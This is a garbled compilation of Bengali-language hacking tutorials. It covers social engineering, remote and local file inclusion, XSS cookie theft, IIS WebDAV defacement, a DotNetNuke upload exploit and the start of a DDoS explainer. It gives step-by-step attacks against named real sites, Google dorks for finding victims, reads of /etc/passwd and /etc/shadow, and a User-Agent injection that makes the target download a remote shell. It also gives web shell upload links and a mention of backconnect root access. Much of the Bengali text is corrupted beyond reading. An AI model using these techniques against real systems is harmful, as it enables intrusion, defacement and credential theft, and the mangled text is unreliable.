মখন সটকতরচছপান পরথভ অকতফষকত র তখন কতফচছশবয পরথভ যাকায সটকতরচছপাচছনয ফযফাযকতফকতধ খফবাচছরাবাচছফ মচছফকষবন কযর স সদখর সম মখন অভযা কাউচছক করচছদআ তখন এআকরটি পরথচছভ সটকতরচছপান কতপচছ মায চছয কাকতিত ফযাকতিটিয কাচছছ মায তখনযাকায কতকছ চকচছরট নতযী কচছয তায চছকচছট যাখর াচছথ যাখর একটি ফাকতস এআ ফরর সম চকচছরচছটয াচছথ এটা একটি কতগফট এফায ভানচছলযা এফং তাচছদয ফারচাযা ফাকতগচছরা িাযা য তরচছত রাগর মায পচছর কতি র একধযচছনয তযে মা সটকতরচছপান াবব াচছযয তযচছেয ভত এটাআ যফতীচছত যাকাযচছদয াযাকতফচছশব কতফনাভচছরয কর কযচছত াাময কযর

িণব পরকযাটি রকষ করন স শধ কতনচছজয কতচনতা কাচছজ রাগার এফংএকটি সছাটফাকত নতযী কযর তাচছর সদখন সাযার আকতনজকতনযাকতযং খফআগরতবনবঅকতন সকান কতকছচছক ফি কযচছত চছর সাযার আকতনজকতনযাকতযং এযাাময ফযাকতততমভফ নয

অনায ফনধয কব ট একাউনট যাকতকং কযচছতচাআচছর Forget password একতিক কচছযআ াধাযন কচছযকটি পরচছশনয উততয কতদচছযআ অকতন যাক কযচছত াচছযন কাযন ভানল ঐকর জাযগায কতকছ াধাযন পরশনআ সফচছছ সনয অয অকতন অনায ফনধয াধাযন সতা অচছছআ এভনকতক চছনক সগান তথয জাচছনন তাআ নয কী তাচছর সদখা মাচছে এখাচছন সাযার আকতনজকতনযাকতযং একটি গরতবণব কতফলয

মিািযা িআসজজসিোসরিংমের লসিলাী িিংজঞা

ভানলকতক বাচব যার জগচছত মাকতচত কাজ সমভন সকান কচছবাচছযট কতপচছয সনটযাচছকব পরচছফ তাচছদয নরাআন কতকতকউকতযটি পাযাযযার একাউনট আতযাকতদ কতনকতফিবাচছফ মচছফকষবন কচছয তাচছত অকরভন কযা এচছকষচছতর কতফকতবনন ধযচছনয পটযযাচছযয াাময সনযা মায ফা কতনচছজয ফানাচছনা সকান াডব যযায ফা সকাকতডং কাচছজ রাগাচছনা মায

ভচছন করন অনায আচছভআচছর এর এযকভ একটি ফাতব া সম Congrats You have got 100000 free visitor CLICK

HERE for withdraw এবাচছফ পরকততকতদন ভগর কতফচছশব াজায াজায ভানল তাচছদয সকরকতডটকাচছডব য তথয কতফকতবননগরতবণব তথয নরাআচছন জভা কতদচছে অয যাকতকংচছযয কতকায চছে সাযার আকতনজকতনযাকতযং কতনচছনাি কচছযকটি বাচছগকতফবি

ndashgtimpersonation

mdashgtposing as imp user

mdashgt3rd person approach

mdashgttechnical support

কসিউটার সভসিক মিািযা িআসজজসিোসরিং

কতনচছচয কচছযকটি বাচছগ কতফবি

ndashgtmailim attachments

ndashgtpop up windows

mdashgtsweepstakes

mdashgtspam mail

এআ ধযাচছযয এখাচছনআ ভাকতি ভচছন যাখচছফন সকান কাজ কযায অচছগ এয সাযার আকতনজকতনযাকতযংচছযয ফযাযটি খফ বাচছরাবাচছফ নধাফন কযা উকতচত মখন অভযা কায আচছভআচছর সকান কতকছ াঠাআ এফং স মকতদ কতকছ াঠায সটাআ সাযার আকতনজকতনযাকতযং অয এবাচছফআ অভযা সাযার আকতনজকতনযাকতযং কাউচছক সটরাজান ফা কী-রগায াঠাচছত ফযফায কযফ ফাআ খফ বাচছরা থাকচছফন

কতরচছখচছছনঃ সভচছকতদ াান

অজ সদখাফ Remote file inclusion যাকতকং অনাযা যত জাচছনন না সম যাকতকং কযায সথচছক যাকতকং কতনচছয সাি সরখা অয কঠিন কিকয মকতদ সাি কযচছতন তাচছর ফঝচছতন থাক সাি কযা রাগচছফ না শধ ভনতফয কযচছরআ চছফ ভনতফয কযচছর সাচছিয সরখক উৎাকতত য এচছত তাচছদয সরখায গকতত সবাচনদয ফাচছি তাচছর অয কথা নয এফায শর চছয মাক সািটিhellip

Remote file inclusion যাকতকং এচছক ংচছকষচছ ফচছর RFI যাকতকং এটি ননযা যাকতকং ভযাথচছডয ভচছধয এটি একটি নযতভ জনকতপরয ভযাথড নযনযা িকততয ভচছতা এআ িকততচছত অনাচছক চছযফাআচছটয vulnerability সফয কযচছত চছফ এআ vulnerability এয ভাধযচছভ একজন যাকায একটি চছযফ াবব াচছযয remote file মি কযচছত াচছয অা ককতয RFI যাকতকং িচছকব সভাটাভটি ধাযণা সচছযচছছন

mdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdash

mdashmdashmdashmdashmdash

সকান াআটটি vulnerable কতকবাচছফ ফঝচছফন খফআ কঠিন পরশন তাআ না এআ পরচছশনয উততয জানায জনয কতনচছচয কতরংকটি সদচছখনhellip

httpwwwtargetsitecomindexphppage=Anything

উচছযয কতরংচছকয ভচছতাআ সদখচছত াচছফন সমগচছরা অকতন খজচছেন তনন তনন কচছয এখন এগচছরা ফাকতয কযচছফন কতকবাচছফ গগর ডকদযকায কতনন কতনচছচ গগর ডক কতদরাভ

ldquoinurlindexphppage=rdquo

উচছযয ডকটি গগচছর কতনচছয াচব কতদন তাচছর অনাচছক ―indexphppage= এআ টাআচছয মত চছযফাআট অচছছ

ফগচছরা চছযফাআট গগর অনায াভচছন এচছন াকতজয কযচছফ এখন সকান চছযফাআটটি অজচছকয ভযাথচছডয জনয vulnerable তা যীকষা কচছয সদখচছত চছফ কতকবাচছফ কযচছফন কতনচছচয ভচছতা কচছয করন

httpwwwtargetsitecomindexphppage=wwwgooglecom

এখন ভচছন কচছযন অকতভ অকতভ httpwwwcbspkcomএআ াআটটি খচছজ সচছযকতছ এখন অভযা চাআফ এটা vulnerable কতক না তাচছর কতরখনhellip

httpwwwcbspkcomv2indexphppage=httpwwwtunerpagecom

তাচছর এটি সদখাচছফhellip

এখন মকতদ উি চছযফাআটটি নয চছযফাআট কতনচছয সখাচছর তাচছর ফঝচছফন সম এআ চছযফ াআচছট RFI আচছেকান সদযা মাচছফ এফায অন চছযয ধাচছhellip

এযয াধাযণত যাকাযযা তায কতবকটিচছভয চছযফাআচছট সম সকান Shells অচছরাড কচছয মাচছত তায কাজটি ফাআচছক সদখাচছত ভাচছন পরভাণটি সফকতযবাগ যাকাযযা c99 shell ফা r57 shell অচছরাড কচছয অকতভ অনাচছদয সদখাফ c99 shell অচছরাড কযা এজনয যাকাযযা সম সকান একটি চছযফচছািটিং াআচছট তাচছদয সর অচছরাড কচছয সনয সমভন-ripwaycom 110mbcom আতযাকতদ এখন ভচছন কচছযন অকতভ ripwaycom এআ াআচছট সর অচছরাড কযরাভ তাচছর অভায কতরংক চছফhellip

httph1ripwaycomtjunselectedc99shellphp

এফায যাকায চছযফাআটটিচছত একটি কভানড কতদচছফ কভানডটি চছফ httpwwwcbspkcomv2indexphppage=httph1ripwaycomtjunselectedc99shellphp

এখন তাচছর এটি চছযফাআট সদখফ সদচছখন কতক সদচছখন

তচছফ ফযআ ভচছন যাখচছফন কতরংচছকয সচছলldquo rdquo পরশনচছফাধক কতচহনটি রাকতগচছয কতদচছফন নতফা অনায সর কাজ কযচছফ না

কতনফবাকতচতটিউনাযtrade

XSS কতক

XSS যাকতকং িচছকব জানচছত চছর পরথচছভআ জানচছত চছফ XSS কতজকতনটা কতক Cross site Scripting এয ংকতকষিরআ চছে XSS এটাচছক অফায CSS(Cascading Style sheet) ফচছর থাচছক মায সমবাচছফ আো স বাচছফ ফচছর এটা Web

Application Vulnerability এয ফচছচচছয জনকতপরয গচছরায একটি এআ vulnerability একজন যাকাযচছক একটি াআচছট client side scripts (কতফচছল কতকছ Javascript) আনাটব কযায নভকতত পরদান কচছযন এআ vulnerability কতদচছয একজন যাকায কতবকটিচছভয াআচছট malicious codes malware attack phishing আতযাকতদ inject কযাচছত াচছয

ছকতফঃ http3bpblogspotcom_lBoKsfWMhbETLYDr8vQmTIAAAAAAAAAAMV1wVWY0GB70s1600

xss-threat3jpg

XSS Vulnerability and Injection

যাপ ১ Vulnerable মেব িািআট োমজ মবর করা

অচছন পরথচছভ Vulnerable াআট খচছজ সফয করন এজনয স পরথচছভ Google এ মান তাযয Google Dorks

ফযফায কচছয Vulnerable াআট খচছজ সফয কচছযন তাচছর অকতন তায াচছথ াচব কতদন কতনচছচয sql Injection কতদচছয searchq=

তাচছর অকতন চছনকগচছরা Vulnerable াআট খচছজ াচছফন এফায একটি াআচছট পরচছফ করন

যাপ ২ Vulnerability পরীো করা

এখন অভযা সম াআচছট পরচছফ কচছযকতছ সআ াআচছটয Vulnerability যীকষা কচছয সদখফ এজনয অনাচছক পরথচছভ উি াআচছটয এফটি সাি ফা parameter খচছজ সফয কযচছত চছফ ফচছঝচছছন

না ফঝচছর একট চছকষা কচছযন ফরকতছ ভাচছন অকতন এভন একটি সািখচছজ সফয কযচছফন মা উি াআচছটয াবব ায াঠাচছফ সমভনঃ search query username password

Vulnerability যীকষা কযা জনয দটি িকতত অচছছ

পদধসত ১ পরথম পদধসত হ িািআমটর ম িািব বমে injection করা একজন যাকায াধাযণত াআচছটয ভর াচব ফচছকস একটি malcious script কতরচছখ তাযযাচব ফাটচছন কতিক কচছয াচব সদযায াচছথ াচছথ malcious script টি চছযফাআচছট কাজ কযা শর কচছয সদয

http2bpblogspotcom-

8z5CXuZZpegTpgBgtdbdBIAAAAAAAAAsEqCTc_dxniWEs1600search+boxjpg

পদধসত ২ িািআমটর URL এ injection করা এটি সকান াচব ফচছকস কাজ কচছয না এটি শধ ভাতর াআচছটয URL এ কাজ কচছয থাচছক সমভনঃ- htpvulnerablewebsitesearchq=malicious_script_goes_here

যীকষা কযায কতফধাচছথব input fields কতচছচছফ কতনচছচয সকাডটি কতদন

এফায উচছযয সকাডটি কতদচছয অকতন এফায যীকষা কচছয সদখন সমভনঃ-

পরথম পদধসতিঃ অকতন উচছযয সকাডটি অনায কতবকটিচছভয াআচছটয ভর াচব ফচছকস কতরচছখ াচব সদন

সিতীে পদধসতিঃ অকতন কতবকটিচছভয াআচছটয কতরংচছক রাকতগচছয এনটায কতদন সমভনঃ- httpvulnerablewebsitesearchq=

এফায মকতদ extreme hackerlsquo কতরখা একটি অ ফকস অচছ তাচছর ফঝচছফন সম এআ াআটটি XSS এয জনয vulnerable

যাপ ৩ Malicious Scripts মদো

Vulnerability যীকষা কযায য একজন যাকাচছযয যফতী কাজ র কতবকটিচছভয াআচছট malicious scripts আচছেকট কযাচছনা এটি উকতি াআচছটয cookies চকতয কযা এফং malware attack কযচছত চছমাকতগতা কযচছফ

এখন ভচছন করন যাকাচছযয াআচছট cookie stealing script টি অচছছ তাচছর তায malicious script url চছফ

httpattackerSitemaliciousjs

এখন যাকায তায malcious script টি vulnerable site এ inject কযচছত াযচছফন তাচছর তায URL চছফ

এযয মখনআ উি াআচছটয কতবকতজটয উি াআচছট কতবকতজট কযচছফ তখকতন malcious script টি কাজ শর কচছয কতদচছফ এফং ককতক চকতয কযা শর কচছয কতদচছফ

িাযারণত XSS এর েমতা িিিামর persisting capability হে দিআ যরমির একটা হ Persistent িঅমরকটা হ Non-Persistent

Persistent XSS

এটার ফচছচচছয সফকত ঝ কতকণব XSS vulnerability এটা যাকতয াবব ায সথচছকআ ডাটা ভ ংযকষণ কচছয থাচছক তাআ অকতন মখনআ উি াআচছট malicious script injection কতদচছফন াচছথ াচছথ এটি চছযফ এযাকতপলচছকাচছন সথাযীবাচছফ ংযকষণ চছয মাচছফ এটি নযনযা কর কতবকতজটযচছক এটা সদকতখচছয কতদচছফ মকতদ অকতন অনায কতবকটিচছভয চছযফ াআচছট malicious script injection কযচছফন তাচছর এটি উি াআচছট অা কতবকতজটযচছদয অকরানত কচছয সমভনঃ- কতকছ কতকছ াআট অচছছ মাযা তাচছদয াআচছটয ফযফাযকাকতযচছদয টযাক কযায জনয search query গচছরা ংযকষণকচছয যাচছখ মায পরাপর XSS এয permanent storage

Non-Persistent XSS

এচছক চছনচছকআ Reflected XSS ফচছরথাচছক এজনযআ malicious script এখাচছন সটিযাযী পচছর অনায সদযা িীপটটি াধাযণ কতবকতজটযযা সদখচছত াযচছফ না তচছফ যা মাযা যাকায তাযাতাচছদয সদযা িীপটটি কতবকতজটযচছদয সদখাচছনায জনয injection টি ফযফাযকচছয থাচছক ভজায কতফলয র মাযা উি াআচছটয মাযা কতনযকতভত কতবকতজটয তাযা কতকনত ভচছন কচছয সম এটা াআচছটয কতনচছজয কতরংক পচছর তাযা সখাচছন মায অয তাযউি াআচছটয যাকতকংচছযয কতকায য সমভনঃ- অকতন কতকছ কতকছ াআচছট সম সকানকতজকতন াচব কতদচছর সদখচছফন অনাচছদয অনায সদযা াচব কতসটরংটি অনাচছক নযায সদখাচছে এটায কাযচছণআ malicious code temporarily

একজি হযাকার এিআ Vulnerability সদমে সক কমর

কতযচযতর কতফকতবনন সগানীয তথয চকতয কযা

চছযফ াআচছটয Bypassing restriction

Session Hijacking Malware Attack

Website Defacement Dos attacks

কাচছটব কত ndash কতনফবাকতচত টিউনাযtrade গগর

শব কাভনা অনাচছদয জনয যাকতকং কতখন কতকনত যাকতকং কষকতত কযায উচছেচছয কাচছজ রাগাচছফন না ভরতঃ যাকতকং ভযাথচছডয সল সনআ অা ককতয সকউ ফরচছত াযচছফ না সম

অকতভযাকতকংচছযয ফআ াকতয তাচছর স বর ফচছরচছছ এচছকয য এক কতনযভ নতকতয চছে

যাকতকং কযা য অচছর কতনচছজয সভধা কতদচছয অকতন সম বাচছফ াচছযন যাকতকং কচছয মাচছফন অজ সদখাফ যাকতকংচছযয অচছযকটি জনকতপরয ভযাথড এটা চছনচছকআ ফযফায কচছযথাচছক চরন তাচছর ভর চছফব চচছর মাযা মাক

LFI

যাকাযচছদয

একটি জনকতপরয ভযাথড এটি একটি ংকতকষি নাভ এআ ংকতকষি বদটিয ণবর র

Local File Inclusionঅজ

অনাচছদয

াচছত-করচছভ সদখাফ কতকবাচছফ অকতন একটা াআচছট LFI Injection কতদচছত য

পরথচছভ

কতনচছচয PHP সকাডগচছরা

সদখনhellip

$page=$_GET[page] include($page)

gt

উচছয php সকাডটি চছনক চছযফ সডচছবরাযযাআ তাচছদয চছযফাআচছট ফযফায কচছয থাচছক

কতকনত এটি অচছর তাযা বর কচছয থাচছক কাযণ এআ $pageসকাডটি sanitized না এফং এটি এটা যাকাযচছদয থটা জ কচছয সদয ভরতঃ এআ সকাডটি যাকাযযা তাচছদয LFI যাকতকংচছযয কাচছজ ফযফায কচছয থাচছক অকতন মকতদ কতফকতবনন াআট ঘচছয থাচছকন তাচছর ত কতনচছচয সকাড াআচছটয কতরংক সদখচছত াযচছফ

wwwmywebsitecomindexphppage=productsphp

অকতনএআ ধযচছনয াআচছট সকান ধযচছনয যীকষা ছািাআ ফঝচছত াযচছফন সম

এটি একটি বযারচছযফ চছযফাআট ধচছযন অকতন একটা াআচছট ঢকচছরন উি াআচছটয URL র

wwwmywebsitecomindexphppage=mypagephp

এখাচছন

সদচছখন mypagephp াতাটি

াবব াচছয

সনআ তাআ এটি একটি php error message ভযাচছজ সদচছফ সমভনঃ-

Warning

include() [functioninclude] Failed opening mypagephp for

inclusion

তাচছর

এফায অভযা এআ াআচছট পরচছফ কযফ অভযা জানরাভ সম এটিএকটি vulnerable চছযফাআট মকতদ এআ াআটটি unix server এ চছয থাচছক তাচছর অভযা যত াযাচছডব পাআরটি এখান সথচছক সফয কযচছত াযফ etcpasswd

এআডাআচছযকটকতযচছত াধাযণত াযাডব ংযকতকষত থাচছক সমভনঃ

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

এখন

অভযা পাআচছর

পরচছফ

কচছয াযাডব কতনচছত সচিা কযফ এখাচছন একটা কতজকতন ভচছন যাচছখফন সটায জনয কতনচছচয কতরংকটি সদচছখনhellip

wwwmywebsitecomindexphppage=products

এখাচছন

একটা কতজকতন রকষয করন সম

php এয

য page=products যচছযচছছ

এটি অচছর ভযানযাকতর কযা চছযচছছ তাআ এখাচছন php র

$page=$_GET[page]

include($pagelsquophplsquo)

gt

এআ জনযআ কতরংচছকয সচছল null extension ফযফহত চছয থাচছক

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpassd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

সফকতকষণচছনআ অকতন এআ াআচছটয াযাডব পাআরগচছরা সচছয মাচছফন passwdlsquo file পাআর িচছকব অগাকতভ কতফসতাকতযত ফরা চছফ এছািা অকতন অয সদখচছত াচছফনhellip

etcprofile

etcservices

etcpasswd

etcshadow

etcgroup

etcsecuritygroup

etcsecuritypasswd

etcsecurityuser

etcsecurityenviron

etcsecuritylimits

usrlibsecuritymkuserdefault

এআ পাআরগচছরা অনাচছক াবব াচছযয অয গরতবণব চছনক তথয কতদচছফ

------------------------------------------------------------------------------------------

hellipএবার িঅমরা হযাসকিং মদেবhellip

Requirements

1) Site vulnerable to LFI ( httpwwwsitecom)

2) Remoteshell( httpwwwyourhostingurshelltxt)

3) User-Agent_switcher( httpsaddonsmozillaorgen-USfirefoxhellip-switcher

4) Mozilla Firefox Browser

পরথচছভআ সদচছখ কতনন অনায াআটটি LFI এয জনয vulnerable কতকনা

Google ―Dork

indexphphomepage=

indexphppage=

indexphpindex2=

allinurlindexphppage=

অচছন replace কযচছত াচছযন index and page জাযগায নয কতকছ কতদচছয াচব কতদচছত াচছযন

সমভন

allinurlsitephpsite=

এফায ডক গগচছর কতদচছয াচব কতদন

অভযা

কতনচছছয ভত একটি াআট কতনরাভ

httpwwwfilllpgcoukindexphppage=contactsphp

এফায replace contactsphp মাযগায null তাচছর কতনচছছয ভত চছফ

httpwwwfilllpgcoukindexphppage=null

তাচছর নীচছচয ভত সদখাচছফ

If you see a list of errors running down the page or missing content

(pictures text etc) then the site is vulnerable and we may continue

otherwise just move on to the next site

Now were going to try and connect to a file which we know exists on Linux

servers etcpasswd

Since indexphp has the rights to connect to a file like contactsphp its

possible that the administrator has forgottten to restrict its access to other

files including the files containing sensitive data

Were going to try to read the file etcpasswd which contains data

on root users etc

অভযা null না কতদচছয etcpasswd কতদচছয যাকতয কাজটি কযচছত

াকতয নীচছচয ভত

এফায etcpasswd পাআরটি চছন কযচছত সচিা করন সমভনঃ

httpwwwfilllpgcoukindexphppage=etcpasswd

মকতদ ডাটায সকান কতরে অচছ তাচছর বাগযফান

েসব মদেি http2bpblogspotcom-YAu_DU3GnIoUKBUrssob4IAAAAAAAAAncHqzZkWe3Mags16001JPG

etcpasswd এয মাযগায procselfenviron কতদন তাচছর কতনচছছয ভত সদখচছত াযচছফন ফ াআট এ না থাকচছত াচছয

httpwwwfilllpgcoukindexphppage=procselfenviron

েসব মদেিhttp2bpblogspotcom-qNdN6g9o1MwUKBU-FTOEGIAAAAAAAAAnkYY7AfqVLRlws16002JPG

এফায User-Agent switcher টি ডাউনচছরাড করন এফায Tools ndashgt Default User-Agent

ndashgt Edit User Agents এখাচছন মান তাচছর কতনচছচয ভচছতা কচছয অচছফhellip

েসব মদেি http4bpblogspotcom-fh7-99XttP4TocL11IQMjIAAAAAAAAANMgzecxiOXVFAs4001JPG

এফায

অভযা নতন একটি new user-agent নতকতয কযফ এজনয এখাচছন মান New ndashgt New User-Agent তাচছর

অকতন কতনচছচয ভচছতা কচছয সদখচছত াচছফন

েসব মদেি http3bpblogspotcom-WD_WKG02RTQTocL5ww6j5IAAAAAAAAANQWM_jJ7BPEaIs4002JPG

এখাচছন সমটা সমবাচছফ অচছছ সবাচছফআ সযচছখ চচছর অন Description এ নাভ কতরখন এফং

User-Agent টি এখাচছন সি করন User-Agent এয Tools

ndashgt Default User Agent ndashgt PHP Info সত মান এফায অনায াআচছট মান কতযচছে সদন

তাচছর অকতন উি াআচছট কতনচছচয ভচছতা সদখচছত াচছফন

েসব মদেি http2bpblogspotcom-

kpML0wTbmOYUKBV_gC2FTIAAAAAAAAAoEPpFQMVpKzbUs16006JPG

এফায

Ctrl+F সচচছ

―disable_functions খচছজ সফয করন

disable_functions

| no value | no value

এখন

অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান

Edit করন

এফায ―User-Agent টি কতযফতব ন কচছয কতরখন

httpwwwsh3llorgegytxt -O shellphp)gt[

এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]

এফায

এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক

েসব মদেি http3bpblogspotcom-

SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG

কতকছ

সডচছভা

াআট কতরংক কতদরাভ

কতকছ

াআট LFI httppastebinca2385927

কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ

httpwwwyoutubecomwatchv=FP229bKm5v4

httpwwwyoutubecomwatchv=9W9qWAhwaTo

httpwwwyoutubecomwatchv=hMguilRsteY

কাচছটব কত-কতনফবাকতচত টিউনাযtrade

অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ

সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত

অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয

উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ

WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-

00A0C90AB50F

কতরচছখ Enter চান

২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo

ছকতফ

৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address

Google Dork - ldquoPowered by IISrdquo

৪কতিক NextgtNextgtFinish

৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন

এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik

কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয

gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt

কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব

ফাংরা যাকতকং টিউচছটাকতযযার

পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন

ছকতফ

এফায Next ফাটচছন কতিক করন

ছকতফ

অফায Next করন

ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg

এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom

ছকতফ

অফায Next ফাটচছন কতিক করন

এফায Finish ফাটচছন কতিক করন

ছকতফ

এফায Network Location Option mdashgt website folder এ কতিক করন

ছকতফ

এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন

wwwzidducomdownload16498227shellziphtml

এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন

ছকতফ

এফায Poweraspjpg পাআরটি ককত করন

ছকতফ

এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন

ছকতফ

সি কযা সল

এফায অনাযা বরাউজাযটি চছন করন

তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন

সমভনঃ httpwwwmyxixiacompoweraspjpg

ছকতফ

তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ

ছকতফ

এফায অনাযা deface html পাআরটি চছন করন

এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন

এফায সকাড ফগচছরা ককত করন

ছকতফ

এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন

ছকতফ

সব কযায য অকতন এভন একটি সজ াচছফন

ছকতফ

এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related

`

DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন

inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx

গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না

ছকতফ

২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ

৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা

ছকতফ

৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)

ছকতফ

৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ

৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত

কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয

কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায

সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww

কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক

ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ

কতকবাচছফ DdoS যাটাক কযফ

পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন

DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য

এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ

থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক

এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা

